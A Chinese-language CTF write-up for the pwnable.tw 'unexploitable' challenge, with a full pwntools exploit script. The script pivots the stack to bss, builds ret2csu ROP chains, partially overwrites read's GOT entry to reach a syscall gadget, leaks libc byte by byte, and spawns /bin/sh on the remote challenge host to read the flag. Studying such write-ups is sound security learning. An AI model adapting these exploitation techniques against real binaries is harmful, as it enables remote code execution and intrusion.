Back

[pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget

分析

这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe的时候有一个syscall,并且只要返回值正常,后面会接上ret (重点!)。

思路

  1. 由分析可知,这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节,同时写完这个字节后RAX的值刚好变成1,也就是SYS_write的系统调用号。当下一次再调用read时就会变成write;

  2. 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露,一次泄露多个字节会导致RAX过大,后续不方便控制。每次write一个字节可以保证RAX始终为1

  3. 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中,最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节,RAX的值就会变回0,也就是SYS_read的系统调用号;

  4. 环境很坑,每次输入前尝试把sleep时间调长一点,否则会出现read不进去的情况。

EXP

from pwn import *
import time

#p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10403)
elf = ELF("./unexploitable")
libc = ELF("./libc_64.so.6")

context.log_level = "debug"

# const
offset_byte = b"\x0e" # read offset to syscall

# addr
bss_addr = 0x601028
main_addr = 0x400544
read_plt = elf.symbols[b"read"]
read_got = elf.got[b"read"]
sleep_got = elf.got[b"sleep"]
libc_start_main = elf.got[b"__libc_start_main"]

# gadget
csu_gadget_1 = 0x4005e6
csu_gadget_2 = 0x4005d0
pop_rbp_ret = 0x400512
leave_ret = 0x400576

def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int):
    rop = p64(csu_gadget_1)
    rop += p64(0) #padding
    rop += p64(rbx) #rbx
    rop += p64(rbp) #rbp
    rop += p64(call) #r12->call addr
    rop += p64(rdi) #r13->edi
    rop += p64(rsi) #r14->rsi
    rop += p64(rdx) #r15->rdx
    rop += p64(csu_gadget_2)
    rop += b"\x00"*0x38 #pad
    return rop

def exp():
    #gdb.attach(p, "b *0x400576\nc\n")
    #gdb.attach(p, "b system\nc\n")

    # migrate stack to bss && call read
    target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh
    payload1 = b"a"*0x10 + p64(0xdeadbeef)
    payload1 += p64(csu_gadget_1)
    payload1 += p64(0) #padding
    payload1 += p64(0) #rbx
    payload1 += p64(1) #rbp
    payload1 += p64(read_got) #r12->call addr
    payload1 += p64(0) #r13->edi
    payload1 += p64(target_stack_1) #r14->rsi
    payload1 += p64(0x600) #r15->rdx
    payload1 += p64(csu_gadget_2)
    payload1 += b"\x00"*0x38 #pad
    payload1 += p64(pop_rbp_ret) #set rbp
    payload1 += p64(target_stack_1+0x8)
    payload1 += p64(leave_ret) # migrate
    print("len(payload1):", hex(len(payload1)))
    p.sendline(payload1)

    #pause()
    time.sleep(7)
    # read payload to target_stack_1
    payload2 = b"/bin/sh\x00"
    payload2 += p64(0xdeadbeef) #new rbp
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got
    for i in range(6):
        payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got
    payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system
    payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh")
    payload2 += p64(main_addr)
    print("len(payload2):", hex(len(payload2)))
    p.sendline(payload2)

    #pause()
    time.sleep(7)
    p.send(b"\x7e")
    time.sleep(4)
    sleep_addr = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = sleep_addr - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    print("sleep_addr:", hex(sleep_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    #pause()
    time.sleep(7)
    p.send(p64(system))

    p.sendline("cat /home/*/flag")
    p.recvall()

if __name__ == "__main__":
    exp()
Submit